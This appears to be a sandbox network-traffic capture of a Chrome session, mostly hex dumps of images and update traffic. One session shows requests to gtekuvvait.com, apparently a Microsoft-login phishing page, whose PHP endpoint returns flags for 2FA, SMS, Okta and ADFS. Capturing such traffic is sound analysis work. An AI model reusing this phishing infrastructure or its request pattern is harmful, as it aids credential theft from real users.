2024-10-01 13:08:32 UTC	16383	IN	Data Raw: 2b 4f 4b bd 60 8c 43 6d 07 81 bb a0 ae 5a 98 ca 91 77 b6 86 71 a3 63 d5 7c 15 f1 09 1d fe c3 ad c9 c8 f9 85 d9 04 2e 08 e8 7f 1c 0f c6 bd 26 d6 68 6e a0 59 ad a5 8e 68 9b 95 74 60 c0 fe 22 be 64 78 d1 36 32 ca 62 72 30 ae a3 21 b9 e8 6a dd ae bf a9 e9 91 b5 bd a5 e4 d0 45 e6 6e 2b 1c a5 51 89 1e a2 a6 96 63 cc da 92 1c a9 68 7d 30 06 69 e9 f7 d7 ea 2b c1 17 c5 3a c4 ab 95 d5 ee b6 02 b8 2c 7a 60 71 9f 51 5e 91 e0 2f 13 47 a8 b0 82 e6 f7 12 aa a6 d8 e7 20 96 39 c6 e5 7e 33 9f 43 cd 75 51 c6 53 ab 2e 54 f5 33 74 64 91 f3 a6 b3 ff 00 21 6b ff 00 fa f8 97 ff 00 43 35 4e ae 6b 1f f2 16 bf ff 00 af 89 7f f4 33 52 68 fa 54 ba a1 ba f2 e6 b5 82 3b 68 bc e9 65 b9 93 cb 45 5d ca bd 70 7b b0 15 f5 fc ca 11 bb 3c 9e 56 e5 64 67 d1 5d 04 fe 12 d5 60 b3 d4 ee 9a 38 9a Data Ascii: +OK`CmZwqc\|.&hnYht`"dx62br0!jEn+Qch}0i+:,z`qQ^/G 9~3CuQS.T3td!kC5Nk3RhT;heE]p{<Vdg]`8
2024-10-01 13:08:32 UTC	2	IN	Data Raw: 7b f2 Data Ascii: {
2024-10-01 13:08:32 UTC	16383	IN	Data Raw: 4e d3 9c 76 a4 4b 87 89 66 b7 67 b8 0c 4e 13 31 83 20 f6 dc 3f a1 c5 58 30 df de 69 2d 2c 33 a5 e6 9d 06 70 1f 64 8f 1e 0f 47 c1 ca 01 eb d0 fb 55 97 8e 45 b3 b6 59 e3 8c db 97 0c 61 e3 31 e0 f5 53 d4 8c 1e 95 c7 56 51 86 92 34 4c c9 79 18 af 99 70 24 75 8c ec 7d b9 dc 09 e9 9c fd 3a 56 b5 9e b8 d1 db c1 07 97 1c d6 d1 ab c7 f7 72 54 13 dc 9e c4 e3 9e b4 fd 5f 47 37 4a 67 dd 70 23 88 7d cc 66 42 a7 a0 03 bf d6 a9 69 9a 4a 43 34 57 4d b5 6d c8 db 83 29 2c d9 ea 08 18 c0 e7 a6 73 58 7b 6a 52 5a 30 b1 d4 c3 75 0c a0 c7 f6 56 75 40 19 e7 d8 b1 8e 33 91 b7 f4 19 39 a8 f5 4b 98 90 47 2a 95 11 4c 9f 2f cd 9d bd 88 e7 9c e4 55 2b fb 49 25 b7 89 ac af 24 16 84 aa 88 8f ce 13 07 92 4f 53 8f 7e 45 24 d0 c0 2e 51 50 3b a2 80 cc ee 9c e7 d0 73 81 d4 7b d7 2a a9 07 74 Data Ascii: NvKfgN1 ?X0i-,3pdGUEYa1SVQ4Lyp$u}:VrT_G7Jgp#}fBiJC4WMm),sX{jRZ0uVu@39KGL/U+I%$OS~E$.QP;s{t
2024-10-01 13:08:32 UTC	16383	IN	Data Raw: 57 eb 11 d3 96 2b dc a6 ef f4 79 0b 6d 1f dd 24 f1 9c 7b f1 52 4d a2 ea 96 28 3e dd 67 2c 1b 87 00 8c e4 7d 47 1f ad 75 5a 51 d7 d6 19 63 b9 d5 2d b4 88 ed 01 33 4a 5c 16 61 8e d1 80 18 9e 9d 7f 9d 73 97 1e 29 d7 2e 33 1a ea cf 71 11 e9 88 c2 12 3f da 5c 7f 8d 24 e4 d8 9c 62 96 a6 2a 43 b8 94 2c 54 9c 81 81 9e 9d 7b ff 00 2a d9 8e f6 e0 db c0 ba 9c b9 b7 93 26 39 4c 61 b6 ed 3f 7b 20 6e 63 db b1 f7 a8 34 cd 27 52 bf ba 9b ec 62 17 55 39 72 64 01 5c f5 18 5e a4 fa 60 71 4f b8 b6 9e cf 74 77 85 0c fb b7 81 25 b9 93 79 f4 f6 1e b5 56 44 a6 d6 a4 9a 74 76 57 92 4a f7 1e 72 b6 46 58 30 2d ee c1 7a 37 1e ff 00 8d 69 59 32 69 c1 a3 4b b8 ef 23 e7 6c 71 ab 09 4a 9e 0f c8 78 e3 19 38 26 99 26 a1 a3 5e 59 db 46 34 df b3 5e e1 52 54 8a 2d 9b c7 a8 56 24 37 38 ec 0f Data Ascii: W+ym${RM(>g,}GuZQc-3J\as).3q?\$bC,T{&9La?{ nc4'RbU9rd\^`qOtw%yVDtvWJrFX0-z7iY2iK#lqJx8&&^YF4^RT-V$78
2024-10-01 13:08:32 UTC	6837	IN	Data Raw: d6 ac 0f 06 78 65 23 32 8d 2e 01 80 41 05 0f 4f ce b4 a0 88 a4 4b 1c 20 00 00 e0 b6 48 3f 8d 52 be b6 92 59 36 b3 96 51 f3 1f 97 3c fe 74 94 a4 f4 b8 fd 9c 57 41 52 c3 4c b6 81 52 08 21 86 db 39 f2 a3 40 17 d4 7e bc d5 79 e4 7d 42 d2 77 b1 92 e2 28 95 b6 23 ab af ef 8f 7c 37 51 e9 da a8 ea 7a fe 8d a6 be cb 9b d8 37 a0 ff 00 55 9d e7 f1 03 35 c9 df fc 46 81 65 61 63 6a f2 a2 fd d2 e7 cb 51 f4 03 9a d2 34 e4 c9 7c a8 ea 26 f0 e6 9f ba 19 2e 2c e1 57 dd 92 5d c4 8c e7 1d 09 35 78 dc 69 f6 30 4a 1d 6d 2c 93 67 12 1d a0 8c d7 92 6a be 35 d4 ef 58 ec 95 6d 90 f1 b6 10 73 8f a9 e6 b9 b9 6e 5e 47 2d 23 b3 39 e4 b3 1c 9f cc d6 f1 a2 df c4 c8 e7 8a d8 f5 cf f8 4b 34 5d 26 f6 e2 e2 3b db ab db 89 00 5c 22 fc 8a 00 e3 00 9c 67 de b2 b5 5f 8a 97 8d c6 9b 6d 1c 29 82 Data Ascii: xe#2.AOK H?RY6Q<tWARLR!9@~y}Bw(#\|7Qz7U5FeacjQ4\|&.,W]5xi0Jm,gj5Xmsn^G-#9K4]&;\"g_m)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49786	152.199.21.175	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:31 UTC	688	OUT	GET /dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/bannerlogo?ts=636148307564681746 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:32 UTC	654	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=86400 Content-MD5: 2WW/knPn9EwKIHFAl4B0EQ== Content-Type: image/png Date: Tue, 01 Oct 2024 13:08:31 GMT Etag: 0x8D40D83E98A01B9 Last-Modified: Tue, 15 Nov 2016 18:19:17 GMT Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 90e2c8c5-801e-003d-2403-1435f9000000 x-ms-version: 2009-09-19 Content-Length: 4105 Connection: close
2024-10-01 13:08:32 UTC	4105	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 18 00 00 00 3c 08 02 00 00 00 32 a6 32 4f 00 00 0f d0 49 44 41 54 78 9c ed 9d 67 40 54 c7 16 c7 ef de 5d da b2 74 12 95 0e 02 a2 28 06 14 14 22 a2 a2 82 05 51 54 ec 08 ea 43 45 34 76 93 10 8d 4f 50 92 87 80 0d b0 21 c5 86 18 c0 67 09 76 41 03 0a 0a 02 d2 7b 53 ea 02 c2 52 b6 f2 3e 6c de 8a f7 6e df bb 80 71 7e 9f f4 dc 33 b3 07 f7 fe 99 99 33 67 46 5c 7f 7f 3f 04 00 00 24 03 1e ea 00 00 80 7f 02 40 48 00 00 06 00 21 01 00 18 00 84 04 00 60 00 10 12 00 80 01 40 48 00 00 06 00 21 01 00 18 00 84 04 00 60 00 10 12 00 80 01 04 6c bb 33 f3 4c c0 b6 43 9e 1f a4 ab 72 cb 7f 36 7f 1f db b9 6e f5 1f 1a 07 5a a6 4e b6 bc 19 1d 26 d2 07 ed f6 0b b8 f9 df 3f 11 c6 ba fc 74 91 3a 91 04 e1 7f 0a dd f1 76 08 cb 72 Data Ascii: PNGIHDR<22OIDATxg@T]t("QTCE4vOP!gvA{SR>lnq~33gF\?$@H!`@H!`l3LCr6nZN&?t:vr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49787	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:32 UTC	822	OUT	GET /zuprivater/Xdrrwwipj/uryfdsk2o3294djfshg.php HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; PHPSESSID=59af271c130d7fcd9b183463b4579638
2024-10-01 13:08:33 UTC	978	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4DXKE3id0cUYdYdomYtDJYYSZ7NSgw5WMWXsbWtuQIuKoSGe7%2BH49U8G8IWqa581mvQeQRGKWMChTvXadsI3fDXxcbfIOEH0n6nhc5AB8suyRYbkCx4SkXnpu6pt%2BZhfjQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cbcae961ba55e65-EWR
2024-10-01 13:08:33 UTC	391	IN	Data Raw: 31 62 30 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 22 7b 26 71 75 6f 74 3b 65 72 72 6f 72 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 63 6f 64 65 26 71 75 6f 74 3b 3a 36 30 30 32 2c 26 71 75 6f 74 3b 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 26 71 Data Ascii: 1b0{"live":false,"is_business":false,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":false,"result":"{"error":{"code":6002,"correlationId&q
2024-10-01 13:08:33 UTC	48	IN	Data Raw: 75 6f 74 3b 6d 65 73 73 61 67 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 41 41 44 53 54 53 31 36 35 39 30 30 26 71 75 6f 74 3b 7d 7d 22 7d 0d 0a Data Ascii: uot;message":"AADSTS165900"}}"}
2024-10-01 13:08:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49788	152.199.21.175	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:33 UTC	454	OUT	GET /dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/bannerlogo?ts=636148307564681746 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:33 UTC	648	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 2 Cache-Control: public, max-age=86400 Content-MD5: 2WW/knPn9EwKIHFAl4B0EQ== Content-Type: image/png Date: Tue, 01 Oct 2024 13:08:33 GMT Etag: 0x8D40D83E98A01B9 Last-Modified: Tue, 15 Nov 2016 18:19:17 GMT Server: ECAcc (lhc/7888) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 90e2c8c5-801e-003d-2403-1435f9000000 x-ms-version: 2009-09-19 Content-Length: 4105 Connection: close
2024-10-01 13:08:33 UTC	4105	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 18 00 00 00 3c 08 02 00 00 00 32 a6 32 4f 00 00 0f d0 49 44 41 54 78 9c ed 9d 67 40 54 c7 16 c7 ef de 5d da b2 74 12 95 0e 02 a2 28 06 14 14 22 a2 a2 82 05 51 54 ec 08 ea 43 45 34 76 93 10 8d 4f 50 92 87 80 0d b0 21 c5 86 18 c0 67 09 76 41 03 0a 0a 02 d2 7b 53 ea 02 c2 52 b6 f2 3e 6c de 8a f7 6e df bb 80 71 7e 9f f4 dc 33 b3 07 f7 fe 99 99 33 67 46 5c 7f 7f 3f 04 00 00 24 03 1e ea 00 00 80 7f 02 40 48 00 00 06 00 21 01 00 18 00 84 04 00 60 00 10 12 00 80 01 40 48 00 00 06 00 21 01 00 18 00 84 04 00 60 00 10 12 00 80 01 04 6c bb 33 f3 4c c0 b6 43 9e 1f a4 ab 72 cb 7f 36 7f 1f db b9 6e f5 1f 1a 07 5a a6 4e b6 bc 19 1d 26 d2 07 ed f6 0b b8 f9 df 3f 11 c6 ba fc 74 91 3a 91 04 e1 7f 0a dd f1 76 08 cb 72 Data Ascii: PNGIHDR<22OIDATxg@T]t("QTCE4vOP!gvA{SR>lnq~33gF\?$@H!`@H!`l3LCr6nZN&?t:vr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49789	152.199.21.175	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:33 UTC	456	OUT	GET /dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/illustration?ts=636148307647586819 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:33 UTC	725	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=86400 Content-MD5: hMQlwIr5SpVS37XPsImOyA== Content-Type: image/jpeg Date: Tue, 01 Oct 2024 13:08:33 GMT Etag: 0x8D40D83EE06BF8A Last-Modified: Tue, 15 Nov 2016 18:19:25 GMT Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 519ffa96-001e-0051-4803-14de6e000000 x-ms-version: 2009-09-19 Content-Length: 88082 Connection: close
2024-10-01 13:08:33 UTC	15660	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 44 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 34 00 00 00 00 00 00 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 de 00 06 00 04 00 11 00 2b 00 38 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 64 65 73 63 00 00 00 fc 00 00 00 79 62 6b 70 74 00 00 01 78 00 00 00 14 77 74 70 74 00 00 01 8c 00 00 00 14 63 70 72 74 00 00 01 a0 00 00 00 15 72 58 59 5a 00 00 01 b8 00 00 00 14 67 58 59 5a 00 00 01 cc 00 00 00 14 62 58 59 5a 00 00 01 e0 00 00 00 14 72 Data Ascii: JFIFDICC_PROFILE4mntrRGB XYZ +8acsp-descybkptxwtptcprtrXYZgXYZbXYZr
2024-10-01 13:08:33 UTC	16383	IN	Data Raw: 51 c1 e9 8c 1a b1 75 1d b6 9b a9 db 5c e9 32 5a ea 76 53 2c 83 cb 10 ed 50 e0 6d 04 82 3e 5f 7c 67 f1 af 7e 83 e1 3e 9d 7b e1 7b 5b 1d 66 79 5a fe 26 72 6e 61 c1 ca b3 67 61 07 ef 00 79 c9 ef 9c 1a e9 fc 19 e0 dd 23 c2 b6 0d 6b 61 17 9c 5d 83 c9 34 ea ac ce 47 4e 31 80 07 b5 38 d3 9b 69 c8 d1 d7 a3 08 b8 c3 52 97 c1 98 35 0b 6f 00 d8 c7 a9 87 56 dc e6 05 93 3b 84 24 fc b9 cf 23 be 33 db 15 dc 75 a8 f7 67 af 26 90 be 2b aa 2a ca c7 9f 39 73 36 c3 cc 2a c7 04 8f 5c 1c 66 bc f6 db 4f d5 ec 75 cd 66 5d 66 fa 0b d9 2f 27 12 5b 34 51 94 f2 e0 00 84 46 cf 71 cd 77 8e c3 9f ce b8 1d 0e eb cf f1 8f 8d 04 84 94 8e f2 de 15 dd db 6d ba e4 0f c4 d6 f4 1d a6 65 51 5e 25 b4 b2 96 39 da 66 f9 94 f6 a4 93 ca 96 e0 2b 80 24 03 80 6b 4e 62 c1 09 4d c7 1d eb 3e 4b 44 79 84 Data Ascii: Qu\2ZvS,Pm>_\|g~>{{[fyZ&rnagay#ka]4GN18iR5oV;$#3ug&+9s6\fOuf]f/'[4QFqwmeQ^%9f+$kNbM>KDy
2024-10-01 13:08:33 UTC	16383	IN	Data Raw: 64 89 95 44 6d fb bd f9 38 38 3c f4 1c d7 19 17 c4 bd 6e 73 34 6f 6b 1a c5 74 ad 1c 0f 1b 7f a9 27 38 24 f5 c8 fc ab cd ed af a7 8d 76 23 92 31 82 09 ea 2b 4f 4b bd 60 8c 43 6d 07 81 bb a0 ae 5a 98 ca 91 77 b6 86 71 a3 63 d5 7c 15 f1 09 1d fe c3 ad c9 c8 f9 85 d9 04 2e 08 e8 7f 1c 0f c6 bd 26 d6 68 6e a0 59 ad a5 8e 68 9b 95 74 60 c0 fe 22 be 64 78 d1 36 32 ca 62 72 30 ae a3 21 b9 e8 6a dd ae bf a9 e9 91 b5 bd a5 e4 d0 45 e6 6e 2b 1c a5 51 89 1e a2 a6 96 63 cc da 92 1c a9 68 7d 30 06 69 e9 f7 d7 ea 2b c1 17 c5 3a c4 ab 95 d5 ee b6 02 b8 2c 7a 60 71 9f 51 5e 91 e0 2f 13 47 a8 b0 82 e6 f7 12 aa a6 d8 e7 20 96 39 c6 e5 7e 33 9f 43 cd 75 51 c6 53 ab 2e 54 f5 33 74 64 91 f3 a6 b3 ff 00 21 6b ff 00 fa f8 97 ff 00 43 35 4e ae 6b 1f f2 16 bf ff 00 af 89 7f f4 33 Data Ascii: dDm88<ns4okt'8$v#1+OK`CmZwqc\|.&hnYht`"dx62br0!jEn+Qch}0i+:,z`qQ^/G 9~3CuQS.T3td!kC5Nk3
2024-10-01 13:08:33 UTC	16383	IN	Data Raw: 73 f5 15 c2 6a f1 ea 3a 44 89 6b aa 5a a4 52 42 54 34 7f 24 6c ca c3 1b b7 0c 9c f5 f9 b0 7b d6 12 5a 1a a7 71 ec f2 34 3e 4a dc 4f e6 32 9c 43 20 64 d8 7b f2 4e d3 9c 76 a4 4b 87 89 66 b7 67 b8 0c 4e 13 31 83 20 f6 dc 3f a1 c5 58 30 df de 69 2d 2c 33 a5 e6 9d 06 70 1f 64 8f 1e 0f 47 c1 ca 01 eb d0 fb 55 97 8e 45 b3 b6 59 e3 8c db 97 0c 61 e3 31 e0 f5 53 d4 8c 1e 95 c7 56 51 86 92 34 4c c9 79 18 af 99 70 24 75 8c ec 7d b9 dc 09 e9 9c fd 3a 56 b5 9e b8 d1 db c1 07 97 1c d6 d1 ab c7 f7 72 54 13 dc 9e c4 e3 9e b4 fd 5f 47 37 4a 67 dd 70 23 88 7d cc 66 42 a7 a0 03 bf d6 a9 69 9a 4a 43 34 57 4d b5 6d c8 db 83 29 2c d9 ea 08 18 c0 e7 a6 73 58 7b 6a 52 5a 30 b1 d4 c3 75 0c a0 c7 f6 56 75 40 19 e7 d8 b1 8e 33 91 b7 f4 19 39 a8 f5 4b 98 90 47 2a 95 11 4c 9f 2f cd Data Ascii: sj:DkZRBT4$l{Zq4>JO2C d{NvKfgN1 ?X0i-,3pdGUEYa1SVQ4Lyp$u}:VrT_G7Jgp#}fBiJC4WMm),sX{jRZ0uVu@39KG*L/
2024-10-01 13:08:33 UTC	16383	IN	Data Raw: f6 90 0c 52 47 a8 06 53 db 2a b2 06 fe 7c 56 f9 f0 fe ba d1 c9 3e 89 ab 17 80 86 64 8a f6 0c 4d b7 3c fe f1 01 dd fa 1f 6a 97 ca 9e 88 a5 79 2d ce 22 0f 0f ea 57 eb 11 d3 96 2b dc a6 ef f4 79 0b 6d 1f dd 24 f1 9c 7b f1 52 4d a2 ea 96 28 3e dd 67 2c 1b 87 00 8c e4 7d 47 1f ad 75 5a 51 d7 d6 19 63 b9 d5 2d b4 88 ed 01 33 4a 5c 16 61 8e d1 80 18 9e 9d 7f 9d 73 97 1e 29 d7 2e 33 1a ea cf 71 11 e9 88 c2 12 3f da 5c 7f 8d 24 e4 d8 9c 62 96 a6 2a 43 b8 94 2c 54 9c 81 81 9e 9d 7b ff 00 2a d9 8e f6 e0 db c0 ba 9c b9 b7 93 26 39 4c 61 b6 ed 3f 7b 20 6e 63 db b1 f7 a8 34 cd 27 52 bf ba 9b ec 62 17 55 39 72 64 01 5c f5 18 5e a4 fa 60 71 4f b8 b6 9e cf 74 77 85 0c fb b7 81 25 b9 93 79 f4 f6 1e b5 56 44 a6 d6 a4 9a 74 76 57 92 4a f7 1e 72 b6 46 58 30 2d ee c1 7a 37 1e Data Ascii: RGS\|V>dM<jy-"W+ym${RM(>g,}GuZQc-3J\as).3q?\$bC,T{*&9La?{ nc4'RbU9rd\^`qOtw%yVDtvWJrFX0-z7
2024-10-01 13:08:33 UTC	55	IN	Data Raw: df 2f a5 a0 18 e3 25 87 f5 ad 30 d1 db b0 66 9a 5c 9e 02 e4 91 49 76 d0 39 20 ca e5 df f8 43 9c 9a 5c d2 ee 1c 91 ec 53 8f c0 be 14 89 0b 7f 64 c0 f9 ef 96 3f d6 ac Data Ascii: /%0f\Iv9 C\Sd?
2024-10-01 13:08:33 UTC	6835	IN	Data Raw: 0f 06 78 65 23 32 8d 2e 01 80 41 05 0f 4f ce b4 a0 88 a4 4b 1c 20 00 00 e0 b6 48 3f 8d 52 be b6 92 59 36 b3 96 51 f3 1f 97 3c fe 74 94 a4 f4 b8 fd 9c 57 41 52 c3 4c b6 81 52 08 21 86 db 39 f2 a3 40 17 d4 7e bc d5 79 e4 7d 42 d2 77 b1 92 e2 28 95 b6 23 ab af ef 8f 7c 37 51 e9 da a8 ea 7a fe 8d a6 be cb 9b d8 37 a0 ff 00 55 9d e7 f1 03 35 c9 df fc 46 81 65 61 63 6a f2 a2 fd d2 e7 cb 51 f4 03 9a d2 34 e4 c9 7c a8 ea 26 f0 e6 9f ba 19 2e 2c e1 57 dd 92 5d c4 8c e7 1d 09 35 78 dc 69 f6 30 4a 1d 6d 2c 93 67 12 1d a0 8c d7 92 6a be 35 d4 ef 58 ec 95 6d 90 f1 b6 10 73 8f a9 e6 b9 b9 6e 5e 47 2d 23 b3 39 e4 b3 1c 9f cc d6 f1 a2 df c4 c8 e7 8a d8 f5 cf f8 4b 34 5d 26 f6 e2 e2 3b db ab db 89 00 5c 22 fc 8a 00 e3 00 9c 67 de b2 b5 5f 8a 97 8d c6 9b 6d 1c 29 82 37 4a Data Ascii: xe#2.AOK H?RY6Q<tWARLR!9@~y}Bw(#\|7Qz7U5FeacjQ4\|&.,W]5xi0Jm,gj5Xmsn^G-#9K4]&;\"g_m)7J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49791	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:49 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3y3cV+h8BYDcf34&MD=uZvYf9+9 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-01 13:08:49 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f732ff38-c2c5-4edc-ae60-41c2ac8132d6 MS-RequestId: c099f899-c17f-407f-a046-6a31e941627d MS-CV: BeKphEPXjUeD1NMw.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 01 Oct 2024 13:08:49 GMT Connection: close Content-Length: 30005
2024-10-01 13:08:49 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 